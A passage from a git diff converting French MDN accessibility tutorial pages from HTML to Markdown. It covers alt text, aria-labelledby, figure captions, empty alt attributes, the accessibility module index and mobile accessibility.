pouvez également spécifier s'il s'agit d'en-têtes de lignes ou de colonnes à l'aide de l'attribut `scope`. Cela vous donne des groupes complets de données qui peuvent être consommés par les lecteurs d'écran en tant qu'unités simples +- L'élément {{htmlelement("caption")}} et l'attribut summary `<table>` effectuent tous deux des travaux similaires. Ils agissent en tant que texte alternatif pour une table, offrant ainsi à un utilisateur de lecteur d'écran un résumé rapide et utile du contenu de la table. `<caption>` est généralement préféré car il rend son contenu accessible aux utilisateurs malvoyants, qui pourraient également le trouver utile. Vous n'avez pas vraiment besoin des deux. -<h2 id="Alternatives_textuelles">Alternatives textuelles</h2> +> **Note :** voir notre article [Tableaux HTML : dispositions avancées et accessibilité](/fr/docs/Apprendre/HTML/Tableaux/Advanced) pour plus de détails sur les tables de données accessibles. -<p>Alors que le contenu textuel est intrinsèquement accessible, il n'en est pas de même pour le contenu multimédia : le contenu image/vidéo ne peut pas être vu par les personnes malvoyantes et le contenu audio ne peut pas être entendu par les malentendants. Nous verrons plus loin le contenu audio et vidéo dans l'article multimédia accessible, mais pour cet article, nous examinerons l'accessibilité pour l'élément humble {{htmlelement("img")}}.</p> +## Alternatives textuelles -<p>Nous avons un exemple simple écrit, <a href="http://mdn.github.io/learning-area/accessibility/html/accessible-image.html">accessible-image.html</a>, comporte quatre copies de la même image :</p> +Alors que le contenu textuel est intrinsèquement accessible, il n'en est pas de même pour le contenu multimédia : le contenu image/vidéo ne peut pas être vu par les personnes malvoyantes et le contenu audio ne peut pas être entendu par les malentendants. Nous verrons plus loin le contenu audio et vidéo dans l'article multimédia accessible, mais pour cet article, nous examinerons l'accessibilité pour l'élément humble {{htmlelement("img")}}. -<pre><img src="dinosaur.png"> +Nous avons un exemple simple écrit, [accessible-image.html](http://mdn.github.io/learning-area/accessibility/html/accessible-image.html), comporte quatre copies de la même image : -<img src="dinosaur.png" - alt="Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées."> + <img src="dinosaur.png"> -<img src="dinosaur.png" - alt="Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées." - title="Le dinosaure rouge de Mozilla "> + <img src="dinosaur.png" + alt="Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées."> + <img src="dinosaur.png" + alt="Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées." + title="Le dinosaure rouge de Mozilla "> -<img src="dinosaur.png" aria-labelledby="dino-label"> -<p id="dino-label"> Tyrannosaure rouge Rex de Mozilla: Dinosaure à deux jambes, debout comme un être humain, avec des armes légères et une grosse tête avec beaucoup de dents acérées.</p> -</pre> + <img src="dinosaur.png" aria-labelledby="dino-label"> -<p>La première image, lorsqu'elle est visualisée par un lecteur d'écran, n'offre pas beaucoup d'aide à l'utilisateur. VoiceOver, par exemple, lit « /dinosaur.png, image ». Il lit le nom du fichier pour essayer de fournir de l'aide. Dans cet exemple, l'utilisateur ou l’utilisatrice saura au moins qu'il s'agit d'un dinosaure, mais les fichiers peuvent souvent être chargés avec des noms de fichiers générés par une machine (par exemple, à partir d'un appareil photo numérique) et ces noms de fichiers ne fourniront probablement aucun contexte au contenu de l'image.</p> + <p id="dino-label"> Tyrannosaure rouge Rex de Mozilla: Dinosaure à deux jambes, debout comme un être humain, avec des armes légères et une grosse tête avec beaucoup de dents acérées.</p> -<div class="note"> -<p><strong>Note :</strong> c'est pourquoi vous ne devriez jamais inclure de contenu textuel dans une image. Les lecteurs d'écran ne peuvent tout simplement pas y accéder. Il y a aussi d'autres inconvénients - vous ne pouvez pas le sélectionner et le copier/coller. Juste ne le faite pas !</p> -</div> +La première image, lorsqu'elle est visualisée par un lecteur d'écran, n'offre pas beaucoup d'aide à l'utilisateur. VoiceOver, par exemple, lit « /dinosaur.png, image ». Il lit le nom du fichier pour essayer de fournir de l'aide. Dans cet exemple, l'utilisateur ou l’utilisatrice saura au moins qu'il s'agit d'un dinosaure, mais les fichiers peuvent souvent être chargés avec des noms de fichiers générés par une machine (par exemple, à partir d'un appareil photo numérique) et ces noms de fichiers ne fourniront probablement aucun contexte au contenu de l'image. -<p>Quand un lecteur d'écran rencontre la deuxième image, il lit l'intégralité de l'attribut alt – « Un Tyrannosaure Rex rouge : Un dinosaure à deux pattes se tenant droit comme un humain, avec des armes de petit calibre et une grosse tête avec beaucoup de dents acérées. »</p> +> **Note :** c'est pourquoi vous ne devriez jamais inclure de contenu textuel dans une image. Les lecteurs d'écran ne peuvent tout simplement pas y accéder. Il y a aussi d'autres inconvénients - vous ne pouvez pas le sélectionner et le copier/coller. Juste ne le faite pas ! -<p>Cela met en évidence l’importance non seulement d’utiliser des noms de fichiers significatifs au cas où ce qui est appelé <strong>alt text</strong> n’est pas disponible, mais aussi de s’assurer que le texte alternatif est fourni dans les attributs <code>alt</code> chaque fois que possible. Notez que le contenu de l'attribut <code>alt</code> doit toujours fournir une représentation directe de l'image et de ce qu'elle transmet visuellement. Aucune connaissance personnelle ou description supplémentaire ne devrait être incluse ici, car elle n’est pas utile pour les personnes qui n’ont jamais rencontré l’image auparavant.</p> +Quand un lecteur d'écran rencontre la deuxième image, il lit l'intégralité de l'attribut alt – « Un Tyrannosaure Rex rouge : Un dinosaure à deux pattes se tenant droit comme un humain, avec des armes de petit calibre et une grosse tête avec beaucoup de dents acérées. » -<p>Une chose à considérer est de savoir si vos images ont une signification dans votre contenu, ou si elles sont purement décoratives, n’ont donc aucune signification. S'ils sont décoratifs, il est préférable de les inclure dans la page en tant qu'images d'arrière-plan CSS.</p> +Cela met en évidence l’importance non seulement d’utiliser des noms de fichiers significatifs au cas où ce qui est appelé **alt text** n’est pas disponible, mais aussi de s’assurer que le texte alternatif est fourni dans les attributs `alt` chaque fois que possible. Notez que le contenu de l'attribut `alt` doit toujours fournir une représentation directe de l'image et de ce qu'elle transmet visuellement. Aucune connaissance personnelle ou description supplémentaire ne devrait être incluse ici, car elle n’est pas utile pour les personnes qui n’ont jamais rencontré l’image auparavant. -<div class="note"> -<p><strong>Note :</strong> Lisez <a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML">Les images en HTML</a> et<a href="/fr/docs/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_à_une_page_web"> Images adaptatives</a> pour plus d’informations sur la mise en œuvre des images et les meilleures pratiques.</p> -</div> +Une chose à considérer est de savoir si vos images ont une signification dans votre contenu, ou si elles sont purement décoratives, n’ont donc aucune signification. S'ils sont décoratifs, il est préférable de les inclure dans la page en tant qu'images d'arrière-plan CSS. -<p>Si vous souhaitez fournir des informations contextuelles supplémentaires, vous devez les insérer dans le texte entourant l'image ou dans un attribut title, comme indiqué ci-dessus. Dans ce cas, la plupart des lecteurs d’écran liront le texte alternatif, l’attribut title et le nom du fichier. En outre, les navigateurs affichent le texte du titre sous forme d’infos lors du survol de la souris.</p> +> **Note :** Lisez [Les images en HTML](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML) et[ Images adaptatives](/fr/docs/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_à_une_page_web) pour plus d’informations sur la mise en œuvre des images et les meilleures pratiques. -<p><img alt="" src="title-attribute.png"></p> +Si vous souhaitez fournir des informations contextuelles supplémentaires, vous devez les insérer dans le texte entourant l'image ou dans un attribut title, comme indiqué ci-dessus. Dans ce cas, la plupart des lecteurs d’écran liront le texte alternatif, l’attribut title et le nom du fichier. En outre, les navigateurs affichent le texte du titre sous forme d’infos lors du survol de la souris. -<p>Jetons un autre coup d'oeil à la quatrième méthode :</p> + -<pre class="brush: html"><img src="dinosaur.png" aria-labelledby="dino-label"> +Jetons un autre coup d'oeil à la quatrième méthode : -<p id="dino-label"> Le Tyrannosaure rouge Mozilla ... </p></pre> +```html +<img src="dinosaur.png" aria-labelledby="dino-label"> -<p>Dans ce cas, nous n'utilisons pas du tout l'attribut <code>alt</code> Nous avons plutôt présenté notre description de l'image sous forme de paragraphe de texte normal, en lui attribuant un <code>id</code> puis nous avons utilisé l'attribut <code>aria-labelledby</code> pour : faire référence à cela <code>id</code>, ce qui amène les lecteurs d’écran à utiliser ce paragraphe comme alt text/label pour cette image. Ceci est particulièrement utile si vous souhaitez utiliser le même texte comme étiquette pour plusieurs images – quelque chose qui n’est pas possible avec <code>alt</code>.</p> +<p id="dino-label"> Le Tyrannosaure rouge Mozilla ... </p> +``` -<div class="note"> -<p><strong>Note :</strong> <code>aria-labelledby</code> fait partie de la spécification <a href="https://www.w3.org/TR/wai-aria-1.1/">WAI ARIA</a>, qui permet aux développeurs d'ajouter une sémantique supplémentaire à leur balisage afin d'améliorer l'accessibilité du lecteur d'écran, le cas échéant. Pour en savoir plus sur son fonctionnement, lisez notre article <a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basic</a>.</p> -</div> +Dans ce cas, nous n'utilisons pas du tout l'attribut `alt` Nous avons plutôt présenté notre description de l'image sous forme de paragraphe de texte normal, en lui attribuant un `id` puis nous avons utilisé l'attribut `aria-labelledby` pour : faire référence à cela `id`, ce qui amène les lecteurs d’écran à utiliser ce paragraphe comme alt text/label pour cette image. Ceci est particulièrement utile si vous souhaitez utiliser le même texte comme étiquette pour plusieurs images – quelque chose qui n’est pas possible avec `alt`. -<h3 id="Autres_mécanismes_alternatifs_de_texte">Autres mécanismes alternatifs de texte</h3> +> **Note :** `aria-labelledby` fait partie de la spécification [WAI ARIA](https://www.w3.org/TR/wai-aria-1.1/), qui permet aux développeurs d'ajouter une sémantique supplémentaire à leur balisage afin d'améliorer l'accessibilité du lecteur d'écran, le cas échéant. Pour en savoir plus sur son fonctionnement, lisez notre article [WAI-ARIA basic](/fr/docs/Learn/Accessibility/WAI-ARIA_basics). -<p>Les images ont également d'autres mécanismes disponibles pour fournir un texte descriptif. Par exemple, il existe un attribut <code>longdesc</code> destiné à pointer sur un document web distinct contenant une description étendue de l'image, par exemple :</p> +### Autres mécanismes alternatifs de texte -<pre class="brush: html"> -<img src="dinosaur.png" longdesc="dino-info.html"></pre> +Les images ont également d'autres mécanismes disponibles pour fournir un texte descriptif. Par exemple, il existe un attribut `longdesc` destiné à pointer sur un document web distinct contenant une description étendue de l'image, par exemple : -<p>Cela semble être une bonne idée, en particulier pour les infographies telles que les grands graphiques contenant de nombreuses informations, qui pourraient peut-être être représentées sous forme de tableau de données accessible (voir section précédente). Cependant, longdesc n’est pas toujours pris en charge par les lecteurs d’écran et le contenu est totalement inaccessible aux utilisateurs autres que les lecteurs d’écran. Il est sans doute préférable d’inclure la description longue sur la même page que l’image, ou d’y accéder par un lien régulier.</p> +```html +<img src="dinosaur.png" longdesc="dino-info.html"> +``` -<p>HTML5 comprend deux nouveaux éléments — {{htmlelement("figure")}} et {{htmlelement("figcaption")}} — qui sont supposés associer une figure quelconque (ce peut être n'importe quoi, pas nécessairement une image) à une légende de figure :</p> +Cela semble être une bonne idée, en particulier pour les infographies telles que les grands graphiques contenant de nombreuses informations, qui pourraient peut-être être représentées sous forme de tableau de données accessible (voir section précédente). Cependant, longdesc n’est pas toujours pris en charge par les lecteurs d’écran et le contenu est totalement inaccessible aux utilisateurs autres que les lecteurs d’écran. Il est sans doute préférable d’inclure la description longue sur la même page que l’image, ou d’y accéder par un lien régulier. -<pre class="brush: html"><figure> - <img src="dinosaur.png" alt="Le Mozilla Tyrannosaurus "> - <figcaption> Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées .</figcaption> -</figure></pre> +HTML5 comprend deux nouveaux éléments — {{htmlelement("figure")}} et {{htmlelement("figcaption")}} — qui sont supposés associer une figure quelconque (ce peut être n'importe quoi, pas nécessairement une image) à une légende de figure : -<p>Malheureusement, la plupart des lecteurs d’écran ne semblent pas encore associer de légendes à leurs figures, mais la structure des éléments est utile pour le style CSS. Elle permet également de placer une description de l’image à côté de la source.</p> +```html +<figure> + <img src="dinosaur.png" alt="Le Mozilla Tyrannosaurus "> + <figcaption> Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées .</figcaption> +</figure> +``` -<h3 id="Attributs_alt_vides">Attributs alt vides</h3> +Malheureusement, la plupart des lecteurs d’écran ne semblent pas encore associer de légendes à leurs figures, mais la structure des éléments est utile pour le style CSS. Elle permet également de placer une description de l’image à côté de la source. -<pre class="brush: html"> -<h3> - <img src="article-icon.png" alt=""> - Tyrannosaurus Rex: le roi des dinosaures -</h3></pre> +### Attributs alt vides -<p>Il peut arriver qu'une image soit incluse dans la conception d'une page, mais son objectif principal est la décoration visuelle. Vous remarquerez dans l'exemple de code ci-dessus que l'attribut <code>alt </code> de l'image est vide – il s'agit pour que les lecteurs d'écran reconnaissent l'image, mais n'essayent pas de décrire l'image (au lieu de cela, ils diraient simplement « image », ou similaire) .</p> +```html +<h3> + <img src="article-icon.png" alt=""> + Tyrannosaurus Rex: le roi des dinosaures +</h3> +``` -<p>La raison d'utiliser un vide <code>alt</code> au lieu de ne pas l'inclure est due au fait que de nombreux lecteurs d'écran annoncent l'URL complète de l'image si aucun <code>alt</code> n'est fourni. Dans l'exemple ci-dessus, l'image agit comme une décoration visuelle de l'en-tête auquel elle est associée. Dans ce cas, et dans les cas où une image est uniquement une décoration et n'a pas de valeur de contenu, vous devez mettre un vide <code>alt</code> sur vos images. Une autre alternative consiste à utiliser l'attribut aria role role = "presentation" – cela empêche également les lecteurs d'écrans de lire du texte alternatif.</p> +Il peut arriver qu'une image soit incluse dans la conception d'une page, mais son objectif principal est la décoration visuelle. Vous remarquerez dans l'exemple de code ci-dessus que l'attribut `alt `de l'image est vide – il s'agit pour que les lecteurs d'écran reconnaissent l'image, mais n'essayent pas de décrire l'image (au lieu de cela, ils diraient simplement « image », ou similaire) . -<div class="note"> -<p><strong>Note :</strong> si possible, vous devriez utiliser CSS pour afficher des images qui ne sont que des décorations.</p> -</div> +La raison d'utiliser un vide `alt` au lieu de ne pas l'inclure est due au fait que de nombreux lecteurs d'écran annoncent l'URL complète de l'image si aucun `alt` n'est fourni. Dans l'exemple ci-dessus, l'image agit comme une décoration visuelle de l'en-tête auquel elle est associée. Dans ce cas, et dans les cas où une image est uniquement une décoration et n'a pas de valeur de contenu, vous devez mettre un vide `alt` sur vos images. Une autre alternative consiste à utiliser l'attribut aria role role = "presentation" – cela empêche également les lecteurs d'écrans de lire du texte alternatif. + +> **Note :** si possible, vous devriez utiliser CSS pour afficher des images qui ne sont que des décorations. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Vous devriez maintenant bien connaître l'écriture HTML accessible pour la plupart des cas. Notre article sur les bases de WAI-ARIA comblera également certaines lacunes dans cette connaissance, mais cet article s’occupe des bases. Ensuite, nous allons explorer CSS et JavaScript, et comment l’accessibilité est affectée par leur bon ou mauvais usage.</p> +Vous devriez maintenant bien connaître l'écriture HTML accessible pour la plupart des cas. Notre article sur les bases de WAI-ARIA comblera également certaines lacunes dans cette connaissance, mais cet article s’occupe des bases. Ensuite, nous allons explorer CSS et JavaScript, et comment l’accessibilité est affectée par leur bon ou mauvais usage. -<p>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</p> +{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}} diff --git a/files/fr/learn/accessibility/index.md b/files/fr/learn/accessibility/index.md index 0b9b6f493f..dc0aa87bd3 100644 --- a/files/fr/learn/accessibility/index.md +++ b/files/fr/learn/accessibility/index.md @@ -12,46 +12,38 @@ tags: translation_of: Learn/Accessibility original_slug: Apprendre/a11y --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Apprendre le HTML, le CSS et le JavaScript est utile si vous voulez devenir développeur web, mais vos connaissances devront aller au delà de la simple utilisation des technologies — vous devrez les utiliser de manière responsable, de la bonne manière, de façon à maximiser l'audience de vos sites web et ne priver personne de leur usage. Pour y parvenir, vous devrez respecter les bonnes pratiques (lesquelles sont démontrées à travers les sujets du <a href="/fr/Apprendre/HTML">HTML</a>, du <a href="/fr/Apprendre/CSS">CSS</a> et du <a href="/fr/Apprendre/JavaScript">JavaScript</a>), effectuer <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing">des tests sur les différents navigateurs</a> et prendre l'accessibilité en considération dès le départ. Dans ce module, nous allons traiter de cette dernière en détail.</p> +Apprendre le HTML, le CSS et le JavaScript est utile si vous voulez devenir développeur web, mais vos connaissances devront aller au delà de la simple utilisation des technologies — vous devrez les utiliser de manière responsable, de la bonne manière, de façon à maximiser l'audience de vos sites web et ne priver personne de leur usage. Pour y parvenir, vous devrez respecter les bonnes pratiques (lesquelles sont démontrées à travers les sujets du [HTML](/fr/Apprendre/HTML), du [CSS](/fr/Apprendre/CSS) et du [JavaScript](/fr/Apprendre/JavaScript)), effectuer [des tests sur les différents navigateurs](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing) et prendre l'accessibilité en considération dès le départ. Dans ce module, nous allons traiter de cette dernière en détail. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Pour tirer le meilleur parti de ce module, il serait judicieux de parcourir les sections relatives à <a href="/fr/Apprendre/HTML">HTML</a>, <a href="/fr/Apprendre/CSS">CSS</a> et <a href="/fr/Apprendre/JavaScript">JavaScript</a> en premier (au moins les deux premiers modules de chacune de ces sections) ou, peut-être encore mieux, de travailler les parties pertinentes du module d'accessibilité au fur et à mesure que vous travaillez les sujets technologiques connexes.</p> +Pour tirer le meilleur parti de ce module, il serait judicieux de parcourir les sections relatives à [HTML](/fr/Apprendre/HTML), [CSS](/fr/Apprendre/CSS) et [JavaScript](/fr/Apprendre/JavaScript) en premier (au moins les deux premiers modules de chacune de ces sections) ou, peut-être encore mieux, de travailler les parties pertinentes du module d'accessibilité au fur et à mesure que vous travaillez les sujets technologiques connexes. -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur un ordinateur, une tablette ou un autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer la plupart des exemples de code dans un programme de code en ligne tel que <a href="https://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p> -</div> +> **Note :** Si vous travaillez sur un ordinateur, une tablette ou un autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer la plupart des exemples de code dans un programme de code en ligne tel que [JSBin](https://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). -<h2 id="Guides">Guides</h2> +## Guides -<dl> - <dt><a href="/fr/docs/Learn/Accessibility/What_is_accessibility">Qu'est-ce que l'accessibilité ?</a></dt> - <dd>Cet article amorce le module avec un bon aperçu de ce qu'est réellement l'accessibilité – cela inclut les groupes de personnes que nous devons considérer et pourquoi, quels outils les différentes personnes utilisent pour interagir avec le Web et comment nous pouvons intégrer l'accessibilité dans le processus de développement web.</dd> - <dt><a href="/fr/docs/Learn/Accessibility/HTML">HTML : une bonne base pour l'accessibilité</a></dt> - <dd>Une grande partie du contenu web peut être rendue accessible simplement lorsqu'on utilise les bons éléments HTML dans les bons cas. Cet article examine en détail comment HTML peut être utilisé pour assurer une accessibilité maximale.</dd> - <dt><a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript">Meilleures pratiques d'accessibilité CSS et JavaScript</a></dt> - <dd>Lorsqu'ils sont utilisés correctement, CSS et JavaScript peuvent permettre des expériences web accessibles… mais ils peuvent considérablement nuire à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines pratiques exemplaires pour CSS et JavaScript qui doivent être prises en compte afin de s'assurer que le contenu, même complexe, soit le plus accessible possible.</dd> - <dt><a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">Principes de base du WAI-ARIA</a></dt> - <dd>À la suite de l'article précédent, il est parfois compliqué de créer des contrôles complexes et accessible pour une interface utilisateur qui contient du HTML non sémantique et du contenu dynamique mis à jour grâce à JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser afin de permettre aux utilisateurs de savoir ce qui se passe. Nous allons montrer ici comment l'utiliser, à un niveau basique, pour améliorer l'accessibilité.</dd> - <dt><a href="/fr/docs/Learn/Accessibility/Multimedia">Accessibilité pour les contenus multimédias</a></dt> - <dd>Un autre type de contenu susceptible de créer des problèmes d'accessibilité est le multimédia : les contenus vidéo, audio et les image doivent être dotés de textes alternatifs appropriés afin qu'ils puissent être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment.</dd> - <dt><a href="/fr/docs/Learn/Accessibility/Mobile">Accessibilité mobile</a></dt> - <dd>On accède désormais au Web depuis son smartphone. Les plateformes iOS et Android possèdent des outils d'accessibilité à part entière. Il est tout aussi important de prendre en compte l'accessibilité de votre contenu web sur ces plateformes. Cet article examine les considérations d'accessibilité spécifiques au mobile.</dd> -</dl> +- [Qu'est-ce que l'accessibilité ?](/fr/docs/Learn/Accessibility/What_is_accessibility) + - : Cet article amorce le module avec un bon aperçu de ce qu'est réellement l'accessibilité – cela inclut les groupes de personnes que nous devons considérer et pourquoi, quels outils les différentes personnes utilisent pour interagir avec le Web et comment nous pouvons intégrer l'accessibilité dans le processus de développement web. +- [HTML : une bonne base pour l'accessibilité](/fr/docs/Learn/Accessibility/HTML) + - : Une grande partie du contenu web peut être rendue accessible simplement lorsqu'on utilise les bons éléments HTML dans les bons cas. Cet article examine en détail comment HTML peut être utilisé pour assurer une accessibilité maximale. +- [Meilleures pratiques d'accessibilité CSS et JavaScript](/fr/docs/Learn/Accessibility/CSS_and_JavaScript) + - : Lorsqu'ils sont utilisés correctement, CSS et JavaScript peuvent permettre des expériences web accessibles… mais ils peuvent considérablement nuire à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines pratiques exemplaires pour CSS et JavaScript qui doivent être prises en compte afin de s'assurer que le contenu, même complexe, soit le plus accessible possible. +- [Principes de base du WAI-ARIA](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) + - : À la suite de l'article précédent, il est parfois compliqué de créer des contrôles complexes et accessible pour une interface utilisateur qui contient du HTML non sémantique et du contenu dynamique mis à jour grâce à JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser afin de permettre aux utilisateurs de savoir ce qui se passe. Nous allons montrer ici comment l'utiliser, à un niveau basique, pour améliorer l'accessibilité. +- [Accessibilité pour les contenus multimédias](/fr/docs/Learn/Accessibility/Multimedia) + - : Un autre type de contenu susceptible de créer des problèmes d'accessibilité est le multimédia : les contenus vidéo, audio et les image doivent être dotés de textes alternatifs appropriés afin qu'ils puissent être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment. +- [Accessibilité mobile](/fr/docs/Learn/Accessibility/Mobile) + - : On accède désormais au Web depuis son smartphone. Les plateformes iOS et Android possèdent des outils d'accessibilité à part entière. Il est tout aussi important de prendre en compte l'accessibilité de votre contenu web sur ces plateformes. Cet article examine les considérations d'accessibilité spécifiques au mobile. -<h2 id="Évaluations">Évaluations</h2> +## Évaluations -<dl> - <dt><a href="/fr/docs/Learn/Accessibility/Accessibility_troubleshooting">Diagnostic et amélioration de l'accessibilité</a></dt> - <dd>Dans ce module d'évaluation, nous vous présentons un site simple comportant un certain nombre de problèmes d'accessibilité que vous devez diagnostiquer et corriger.</dd> -</dl> +- [Diagnostic et amélioration de l'accessibilité](/fr/docs/Learn/Accessibility/Accessibility_troubleshooting) + - : Dans ce module d'évaluation, nous vous présentons un site simple comportant un certain nombre de problèmes d'accessibilité que vous devez diagnostiquer et corriger. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="https://egghead.io/courses/start-building-accessible-web-applications-today">Start Building Accessible Web Applications Today (en anglais)</a> — une excellente série de didacticiels vidéo de Marcy Sutton.</li> - <li><a href="https://dequeuniversity.com/resources/">Deque University resources (en anglais)</a> — comprend des exemples de code, des références pour les lecteurs d'écran et d'autres ressources utiles.</li> - <li><a href="https://www.webaim.org/resources/">Ressources relatives à WebAIM (en anglais)</a> — comprend des guides, des listes de vérification, des outils et bien plus encore.</li> -</ul> +- [Start Building Accessible Web Applications Today (en anglais)](https://egghead.io/courses/start-building-accessible-web-applications-today) — une excellente série de didacticiels vidéo de Marcy Sutton. +- [Deque University resources (en anglais)](https://dequeuniversity.com/resources/) — comprend des exemples de code, des références pour les lecteurs d'écran et d'autres ressources utiles. +- [Ressources relatives à WebAIM (en anglais)](https://www.webaim.org/resources/) — comprend des guides, des listes de vérification, des outils et bien plus encore. diff --git a/files/fr/learn/accessibility/mobile/index.md b/files/fr/learn/accessibility/mobile/index.md index 62de168f05..026f65153c 100644 --- a/files/fr/learn/accessibility/mobile/index.md +++ b/files/fr/learn/accessibility/mobile/index.md @@ -11,300 +11,280 @@ tags: translation_of: Learn/Accessibility/Mobile original_slug: Apprendre/a11y/Mobile --- -<div> -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}} -<div>{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}</div> - -<p>L'accès Web sur les appareils mobiles étant si populaire et les plates-formes populaires telles qu'IOS et Android disposant d'outils d'aide à l'accessibilité complets, il est important de prendre en compte l'accessibilité de votre contenu Web sur ces plates-formes. Cet article examine les considérations relatives à l'accessibilité spécifiques aux mobiles.</p> +L'accès Web sur les appareils mobiles étant si populaire et les plates-formes populaires telles qu'IOS et Android disposant d'outils d'aide à l'accessibilité complets, il est important de prendre en compte l'accessibilité de votre contenu Web sur ces plates-formes. Cet article examine les considérations relatives à l'accessibilité spécifiques aux mobiles. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td>Connaissances de base en informatique, compréhension de base de HTML, CSS et JavaScript et compréhension de la <a href="/fr/docs/Learn/Accessibility">previous articles in the course</a>.</td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>Comprendre quels problèmes d'accessibilité existent sur les appareils mobiles et comment les résoudre.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + Connaissances de base en informatique, compréhension de base de HTML, + CSS et JavaScript et compréhension de la <a + href="/fr/docs/Learn/Accessibility" + >previous articles in the course</a + >. + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td> + Comprendre quels problèmes d'accessibilité existent sur les appareils + mobiles et comment les résoudre. + </td> + </tr> + </tbody> </table> -<h2 id="Accessibilité_sur_les_appareils_mobiles">Accessibilité sur les appareils mobiles</h2> +## Accessibilité sur les appareils mobiles + +L’état de l’accessibilité - et la prise en charge des normes Web en général - est bon pour les appareils mobiles modernes. Le temps où les appareils mobiles utilisaient des technologies Web complètement différentes des navigateurs de bureau, forçait les développeurs à utiliser le sniffing de navigateur et à leur servir des sites complètement séparés (même si de nombreuses entreprises détectent encore l'utilisation d'appareils mobiles et leur servent un domaine distinct). + +De nos jours, les appareils mobiles en général peuvent gérer des sites Web "complets", et les principales plates-formes ont même des lecteurs d'écran intégrés pour permettre aux utilisateurs malvoyants de les utiliser avec succès. Les navigateurs mobiles modernes ont tendance à avoir un bon support pour [WAI-ARIA](/fr/docs/Learn/Accessibility/WAI-ARIA_basics), aussi + +Pour rendre un site Web accessible et utilisable sur mobile, il vous suffit de suivre les bonnes pratiques générales en matière de conception de sites Web et d'accessibilité. + +Certaines exceptions nécessitent une attention particulière pour le mobile; les principaux sont: + +- Mécanismes de contrôle - Assurez-vous que les commandes d'interface, telles que les boutons, sont accessibles sur les téléphones mobiles (c'est-à-dire principalement les écrans tactiles), ainsi que sur les ordinateurs de bureau / portables (principalement les souris et les claviers). +- Saisie utilisateur - Rendez les exigences de saisie utilisateur aussi simples que possible sur mobile (par exemple, dans les formulaires, réduisez au minimum la saisie). +- Conception réactive - Assurez-vous que les mises en page fonctionnent sur le mobile, conservez la taille des téléchargements d'images et réfléchissez à la fourniture d'images pour les écrans haute résolution. + +## Résumé des tests de lecteur d'écran sur Android et iOS + +Les plates-formes mobiles les plus courantes disposent de lecteurs d’écran entièrement fonctionnels. Celles-ci fonctionnent à peu près de la même manière que les lecteurs d’écran de bureau, sauf qu’elles sont largement utilisées avec des gestes tactiles plutôt que des combinaisons de touches. -<p>L’état de l’accessibilité - et la prise en charge des normes Web en général - est bon pour les appareils mobiles modernes. Le temps où les appareils mobiles utilisaient des technologies Web complètement différentes des navigateurs de bureau, forçait les développeurs à utiliser le sniffing de navigateur et à leur servir des sites complètement séparés (même si de nombreuses entreprises détectent encore l'utilisation d'appareils mobiles et leur servent un domaine distinct).</p> +Regardons les deux principaux: TalkBack sur Android et VoiceOver sur iOS. -<p>De nos jours, les appareils mobiles en général peuvent gérer des sites Web "complets", et les principales plates-formes ont même des lecteurs d'écran intégrés pour permettre aux utilisateurs malvoyants de les utiliser avec succès. Les navigateurs mobiles modernes ont tendance à avoir un bon support pour <a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a>, aussi</p> +### Android TalkBack -<p>Pour rendre un site Web accessible et utilisable sur mobile, il vous suffit de suivre les bonnes pratiques générales en matière de conception de sites Web et d'accessibilité.</p> 